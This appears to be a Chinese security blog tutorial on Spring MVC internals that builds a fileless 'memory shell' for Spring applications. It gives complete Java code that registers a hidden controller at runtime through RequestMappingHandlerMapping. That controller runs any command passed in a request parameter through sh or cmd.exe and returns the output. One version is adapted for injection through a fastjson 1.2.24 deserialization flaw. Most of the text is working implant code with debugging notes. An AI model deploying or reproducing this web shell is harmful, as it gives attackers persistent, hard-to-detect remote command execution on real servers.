spring部分运行机制
我们在controller处下断点
可以看到红框是涉及spring的部分,因为调用栈的帧顺序是从下往上,也就是下面的先运行,我们从下往上看。
可以看到先run运行起来,然后进入process部分,在进入service部分,进入invoke部分,进入dofilter部分,在返回到service部分,然后就进入了spring中,spring中继续请求,到doDispatch中进行请求的处理。
可以看到DispatcherServlet类中的doDispatch方法进行处理web请求。
这个方法中用handle()进行处理request和response,并且用 mappedHandler.getHandler()获取了mappedHandler的Handler。
那么老样子,我们先不看调用,先看handle()的参数中的mappedHandler.getHandler()。我们看看mappedHandler是干什么的。
这里用了getHandler(processedRequest),那么我们跳入。
可以看到这里对handlerMappings(处理器映射)进行了遍历,调用mappedHandler的getHandler()方法对processedRequest进行了遍历。
handlerMappings介绍:
接着我们继续跟进mapping.getHandler。
跟进之后是个接口,那么找其实现。
我们进入AbstractHandlerMapping。
可以看到用到了getHandlerInternal()方法。
可以看到对mappingRegistry(spring的路径注册)上了锁,acquireReadLock方法用于获取读锁,如果持有写锁的线程数量或请求读锁的线程数大于0则让线程进入等待状态,releaseReadLock方法用于释放读锁,将读锁线程数减一并唤醒其它线程,acquireWriteLock方法用于获取写锁,如果持有读锁的线程数量或持有写锁的线程数量大于0则让线程进入等待状态。releaseWriteLock方法用于释放写锁,将写锁线程数减一并唤醒其它线程。mappingRegistry中存有路由信息如下:
继续回到getHandlerInternal看看。
因为lookupHandlerMethod()涉及请求,传入的参数是lookupPath和request,那么我们看看他是干嘛的。
阅读这一块代码,这里通过mappingRegistry获得请求映射地址,如果directPathMatches不为null,则调addMatchingMappings()进行添加路由,这里可以理解成 集合中的每一个RequestMappingInfo均会和request进行匹配,匹配上的话就创建一个Match对象并加入Match对象集合。
然后就是Matches的校验了,如果为null,就用mappingRegistry.getRegistrations()注册,Match集合不为空则从Match集合中找到最匹配的Match对象,并返回该Match对象的HandlerMethod对象。
也就是说模拟注册向mappingRegistry中添加内存马路由,就能注入内存马。
在AbstractHandlerMethodMapping中就提供了MappingRegistry添加路由。但是该类为抽象类。它的子类RequestMappingHandlerMapping能进行实例化。
RequestMappingInfoHandlerMapping也是抽象类,所以只能用RequestMappingHandlerMapping的registerMapping方法去进行注册(也就是通过AbstractHandlerMethodMapping的子类,也就是实现类去进行注册)。
一个spring内存马的生成
获取webApplicationContext
之前写的tomcat内存马,也是先需要获得容器的context对象。在tomcat中获得的是standardContext,spring中获取的是WebApplicationContext。
可以看到初始化WebApplicationContext的过程,那么如何获得WebApplicationContext呢?
那么这样就可以得到WebApplicationContext对象了,当然不只这一种方法,我们先往下走。
注册Controller
有了WebApplicationContext,接下来便是注册Controller,在第一部分《spring部分运行机制》中我们说了在AbstractHandlerMethodMapping中就提供了MappingRegistry添加路由。但是该类为抽象类。它的子类RequestMappingHandlerMapping能进行实例化。
可以看到RequestMappingHandlerMapping的registerMapping有三个参数mapping,handler,method
那么我们先看看第一个参数mapping怎么写,跳入看看mapping的类型的RequestMappingInfo的构造函数。
有四种,我们用的是第二种构造函数,共7个参数。
/** @deprecated */ @Deprecated public RequestMappingInfo(@Nullable PatternsRequestCondition patterns, @Nullable RequestMethodsRequestCondition methods, @Nullable ParamsRequestCondition params, @Nullable HeadersRequestCondition headers, @Nullable ConsumesRequestCondition consumes, @Nullable ProducesRequestCondition produces, @Nullable RequestCondition<?> custom) { this((String)null, patterns, methods, params, headers, consumes, produces, custom); }
再看第一个参数patterns的构造函数,PatternsRequestCondition是路径匹配,也就是定义访问 controller 的 URL 地址,那么这里写url。
第二个参数是method,我们进入看其构造办法。
然后写到如下:
再写命令执行的代码
@RestController public class Injected{ public Injected(){ } public void cmd() throws Exception { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); if (request.getParameter("cmd") !=null){ boolean islinux = true; String osType = System.getProperty("os.name"); if (osType !=null && osType.toLowerCase().contains("win")){ islinux = false; } String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); response.getWriter().close(); } } }
中间遇到的问题
40行会报错,是39行的问题。
我们调试看servletContext获取值是没问题的,那么就是WebApplicationContext获取值失败
那么。
WebApplicationContext webApplicationContext = (WebApplicationContext)servletContext.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE);
不行,那么换种方法获取webApplicationContext。
WebApplicationContext webApplicationContext = WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
这样获取也会报错Request processing failed; nested exception is java.lang.IllegalStateException: No WebApplicationContext found: no ContextLoaderListener registered?也不行,再换种方法。
WebApplicationContext webApplicationContext = WebApplicationContextUtils.getWebApplicationContext(servletContext);
这里报错是有可能为空,所以我修改加了if判断。
但是访问不了url还是注入失败了,如下。
那么再换种方法
WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
但是访问不了url还是注入失败了,如下。
报错代理问题,不知道怎么解决,那么再看看哪里的问题这里经过一顿排查。
这里之前写错了,要写Injected这个类,那么。
WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
这种是可以的,其他还是不行,如下。
完整代码如下:
package com.example.demo; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.context.ContextLoader; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.context.support.WebApplicationContextUtils; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.ServletContext; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Method; import java.util.Scanner; @RestController public class Controller_ncm { @RequestMapping("/inject") public String inject() throws Exception { //获得request对象 // HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest(); // //获得ServletContext对象 // ServletContext servletContext = request.getServletContext(); // ServletContext servletContext2 = ContextLoader.getCurrentWebApplicationContext().getServletContext(); //获得WebApplicationContext对象 // WebApplicationContext webApplicationContext = (WebApplicationContext)servletContext.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE); WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // WebApplicationContext webApplicationContext = WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext); // WebApplicationContext webApplicationContext = WebApplicationContextUtils.getWebApplicationContext(servletContext); //接下来便是注册Controller了 //之前我们分析在AbstractHandlerMethodMapping中就提供了MappingRegistry添加路由。但是该类为抽象类。它的子类RequestMappingHandlerMapping能进行实例化 //从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean RequestMappingHandlerMapping requestMappingHandlerMapping = webApplicationContext.getBean(RequestMappingHandlerMapping.class); Method method = Injected.class.getMethod("cmd"); RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition(); //定义允许访问 controller 的 HTTP 方法 PatternsRequestCondition url = new PatternsRequestCondition("/url"); //路径匹配 RequestMappingInfo mapping = new RequestMappingInfo(url, condition, null, null, null, null, null); //这里mapping就写好了 Injected handler = new Injected(); //注意这个handler是Injected类 requestMappingHandlerMapping.registerMapping(mapping,handler,method); //注册controller return "Inject done"; } @RestController public class Injected{ public Injected(){ } public void cmd() throws Exception { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); if (request.getParameter("cmd") !=null){ boolean islinux = true; String osType = System.getProperty("os.name"); if (osType !=null && osType.toLowerCase().contains("win")){ islinux = false; } String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); response.getWriter().close(); } } } }
效果:
这里可以写到一个类中,之前那个相当于两个类,一个主类其中嵌套内部类,再进行build之后,可以看到会生成两个类,因为java中的内部类只是java编译器的概念,对于java的虚拟机而言,它是没有java内部类的概念的,也就是说java中的内部类最后也会被编译成一个独立的class文件。
那么在我们进行ldap远程执行恶意类时候,无法同时指定两个类,单纯指定一个类很难生效(因为不包含内部类),那么我们写到一个类中,如下。
package com.example.demo; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.PrintWriter; import java.lang.reflect.Method; import java.nio.charset.Charset; @RestController public class Evil { @RequestMapping("inject5") public String Evil() throws Exception { WebApplicationContext context = (WebApplicationContext) RequestContextHolder. currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); // 通过反射获得该类的test方法 Method method2 = Evil.class.getMethod("test"); // 定义该controller的path PatternsRequestCondition url = new PatternsRequestCondition("/txf"); // 定义允许访问的HTTP方法 RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 在内存中动态注册 controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); // 创建用于处理请求的对象,避免无限循环使用另一个构造方法 Evil injectToController = new Evil("aaa"); // 将该controller注册到Spring容器 mappingHandlerMapping.registerMapping(info, injectToController, method2); return "Inject done"; } private Evil(){ } private Evil(String aaa) { } public void test() throws IOException { HttpServletRequest request = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getResponse(); String code = request.getParameter("code"); if(code != null){ StringBuilder result = new StringBuilder(); Process process = null; BufferedReader bufrIn = null; BufferedReader bufrError = null; response.setCharacterEncoding("utf-8"); response.setContentType("text/html,charset=utf-8"); PrintWriter writer = response.getWriter(); try { ProcessBuilder builder = null; if (System.getProperty("os.name").toLowerCase().contains("win")){ builder = new ProcessBuilder(new String[]{"cmd.exe","/c",code}); Process start = builder.start(); bufrIn = new BufferedReader(new InputStreamReader(start.getInputStream(), Charset.forName("GBK"))); bufrError = new BufferedReader(new InputStreamReader(start.getInputStream(),Charset.forName("GBK"))); }else { builder = new ProcessBuilder(new String[]{"/bin/sh","-c",code}); Process start = builder.start(); bufrIn = new BufferedReader(new InputStreamReader(start.getInputStream(), Charset.forName("UTF-8"))); bufrError = new BufferedReader(new InputStreamReader(start.getInputStream(),Charset.forName("UTF-8"))); } String line; while ((line = bufrIn.readLine()) != null){ result.append(line).append('n').append("</p >"); } while ((line = bufrError.readLine()) != null){ result.append(line).append('n').append("</p >"); } System.out.println(result); writer.println(result); writer.flush(); writer.close(); } catch (IOException e) { e.printStackTrace(); } } } }
直接访问404。
那么先访问inject5,将其注入进去。
然后再次访问/txf。
成功注入,执行命令即可。
到这里实验环境注入内存马就成功了,但是我们是直接在项目中加载的,实战中肯定不是这样利用的,那么继续往下看,fastjson漏洞本地项目实验。
springboot版本2.4.5
<parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.4.5</version> <relativePath/> <!-- lookup parent from repository --> </parent>
fastjson版本1.2.24
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency>
因为之前网站打印出来乱码,那么修改命令执行那段代码,如下,spring内存马
import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.DataInputStream; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Method; public class bat { public bat() throws Exception{ WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Method method = bat.class.getDeclaredMethod("test",HttpServletRequest.class, HttpServletResponse.class); PatternsRequestCondition url = new PatternsRequestCondition("/qqq"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); bat injectToController = new bat("aaa"); RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); mappingHandlerMapping.registerMapping(info, injectToController, method); } private bat(String aa){ } public void test(HttpServletRequest request, HttpServletResponse response) throws IOException { String code = request.getParameter("code"); if(code != null){ Process exec = Runtime.getRuntime().exec(code); InputStream inputStream = exec.getInputStream(); DataInputStream dataInputStream = new DataInputStream(inputStream); String disr = dataInputStream.readLine(); while ( disr != null ) { response.getWriter().write(disr); disr = dataInputStream.readLine(); } } else { response.getWriter().write("ADD CONTROLLER"); } } }
可以看的spring内存马注入成功,注意springboot版本过高注入失败,会报错。
Root Context和Child Context
获得当前代码运行时的上下文环境(4种,前两种是Root Context,后两种是Child Context,推荐使用后两种),我们这里环境配置的就是在DispatcherServlet中,所以通过Root Context是获取不到的,这样就导致 RequestMappingHandlerMapping 的实例 bean 只存在于 Child WebApplicationContext 环境中,而不是 Root WebApplicationContext 中。上文也提到过,Root Context无法访问Child Context中定义的 bean,而Child Context可以访问Root Context中定义的bean,所以可能会导致 Root WebApplicationContext 获得不了 RequestMappingHandlerMapping 的实例 bean 的情况。
另外,在有些Spring 应用逻辑比较简单的情况下,可能没有配置 ContextLoaderListener 、也没有类似 applicationContext.xml 的全局配置文件,只有简单的 servlet 配置文件,这时候通过前两种方法是获取不到Root WebApplicationContext的。
1.getCurrentWebApplicationContext
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext(); return context;
失败。
2.WebApplicationContextUtils
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext()); return context;
失败
3.RequestContextUtils
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()); return context;
成功获得context。
4.getAttribute
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); return context;
成功获得context。